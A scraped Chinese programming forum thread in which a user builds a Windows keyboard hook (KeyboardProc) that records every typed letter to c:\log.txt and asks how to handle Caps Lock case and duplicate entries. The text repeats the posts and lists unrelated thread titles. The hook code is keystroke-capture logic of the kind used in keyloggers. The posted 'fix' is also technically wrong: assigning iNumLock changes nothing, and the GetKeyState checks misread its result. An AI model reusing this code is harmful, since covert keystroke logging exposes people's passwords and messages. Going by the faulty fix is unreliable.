键盘码的转换 我用KeyboardProc(int code,WPARAM wParam,LPARAM lParam)的wParam参数可以得到键盘码,但我查了MSDN后却发现该码表中只有与大写字母对应的十六进制值,而没有与小写字母和一些特殊字符相对应的值。如果我要记录小写字母该这么办?有人说将代码转换为ASCII码,可连对应于小写字母的码也没有,怎么转换啊?大家帮帮我。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 代码如下:if(code==HC_ACTION){ if(((DWORD)lParam&0xc000ffff)==1) //有键被按下 { int iCapital=GetKeyState(0x14); if (iCapital==0x14) { keyCode=(DWORD)wParam; if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z { fp=fopen("c:\\log.txt","a"); fprintf(fp,"%c",keyCode); fclose(fp); } } if(iCapital!=0x14) { keyCode=(DWORD)wParam; if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z { keyCode=keyCode+0x20; fp=fopen("c:\\log.txt","a"); fprintf(fp,"%c",keyCode); fclose(fp); } } }}现在的问题是所有的输入均变成了小写,我想通过锁定和不锁定“capslock"键来控制大小写,请问该怎么修改代码?另外每按一次键会在文件中重复记录2次字母,我知道这是DOWN和UP在作怪,请问这有什么办法吗? 代码如下:if(code==HC_ACTION){ if(((DWORD)lParam&0xc000ffff)==1) //有键被按下 { int iCapital=GetKeyState(0x14); if (iCapital==0x14) { keyCode=(DWORD)wParam; if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z { fp=fopen("c:\\log.txt","a"); fprintf(fp,"%c",keyCode); fclose(fp); } } if(iCapital!=0x14) { keyCode=(DWORD)wParam; if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z { keyCode=keyCode+0x20; fp=fopen("c:\\log.txt","a"); fprintf(fp,"%c",keyCode); fclose(fp); } } }}现在的问题是所有的输入均变成了小写,我想通过锁定和不锁定“capslock"键来控制大小写,请问该怎么修改代码?另外每按一次键会在文件中重复记录2次字母,我知道这是DOWN和UP在作怪,请问这有什么办法吗? 知道一个办法是在记录键值的同时记录SHIFT键的状态,然后根据这两个值,转译为大写或小写。 已自己解决。另外“每按一次键会在文件中重复记录2次字母”不是因为“DOWN和UP在作怪”,而是因为NumLock键开着。为方便后人下面把正确的代码贴出。DWORD_PTR keyCode;short iCapital=GetKeyState(0x14);short iNumLock=GetKeyState(0x90);if(iCapital==1)//如果CAPSLOCK键被按下{ if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z { Text[i]=keyCode; i++; }}if(iCapital==0)//如果CAPSLOCK键没被按下{ if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z { iNumLock=0;//为了能正确获得a-i只得暂时关闭小键盘 keyCode=keyCode+0x20; Text[i]=keyCode; i++; }} SOS!!!GB2312转换UTF8或者unicode!!!!! MFC 得到Edit控件里的值怎么进行类型转换 CEdit控件编辑问题 一个软件有两个功能,一个频繁运行,一个隔较长时间运行。 帮忙出个主意 jpg文件的显示 Tab控件问题! "设置链接标签"是怎么回事? 如何判断是数字还是字母 win2000下,如何让自定义的鼠标带阴影? 60分:Group box,怎么改变线条的颜色?List Ctrl如何加网格?如何重新显示隐藏的类? 如何将_ConnectionPtr传给工作线程,不使用全局量。
if(code==HC_ACTION)
{
if(((DWORD)lParam&0xc000ffff)==1) //有键被按下
{
int iCapital=GetKeyState(0x14);
if (iCapital==0x14)
{
keyCode=(DWORD)wParam;
if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z
{
fp=fopen("c:\\log.txt","a");
fprintf(fp,"%c",keyCode);
fclose(fp);
}
}
if(iCapital!=0x14)
{
keyCode=(DWORD)wParam;
if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z
{
keyCode=keyCode+0x20;
fp=fopen("c:\\log.txt","a");
fprintf(fp,"%c",keyCode);
fclose(fp);
}
}
}
}
现在的问题是所有的输入均变成了小写,我想通过锁定和不锁定“capslock"键来控制大小写,请问该怎么修改代码?另外每按一次键会在文件中重复记录2次字母,我知道这是DOWN和UP在作怪,请问这有什么办法吗?
if(code==HC_ACTION)
{
if(((DWORD)lParam&0xc000ffff)==1) //有键被按下
{
int iCapital=GetKeyState(0x14);
if (iCapital==0x14)
{
keyCode=(DWORD)wParam;
if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z
{
fp=fopen("c:\\log.txt","a");
fprintf(fp,"%c",keyCode);
fclose(fp);
}
}
if(iCapital!=0x14)
{
keyCode=(DWORD)wParam;
if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z
{
keyCode=keyCode+0x20;
fp=fopen("c:\\log.txt","a");
fprintf(fp,"%c",keyCode);
fclose(fp);
}
}
}
}
现在的问题是所有的输入均变成了小写,我想通过锁定和不锁定“capslock"键来控制大小写,请问该怎么修改代码?另外每按一次键会在文件中重复记录2次字母,我知道这是DOWN和UP在作怪,请问这有什么办法吗?
short iCapital=GetKeyState(0x14);
short iNumLock=GetKeyState(0x90);
if(iCapital==1)//如果CAPSLOCK键被按下
{
if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z
{
Text[i]=keyCode;
i++;
}
}
if(iCapital==0)//如果CAPSLOCK键没被按下
{
if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z
{
iNumLock=0;//为了能正确获得a-i只得暂时关闭小键盘
keyCode=keyCode+0x20;
Text[i]=keyCode;
i++;
}
}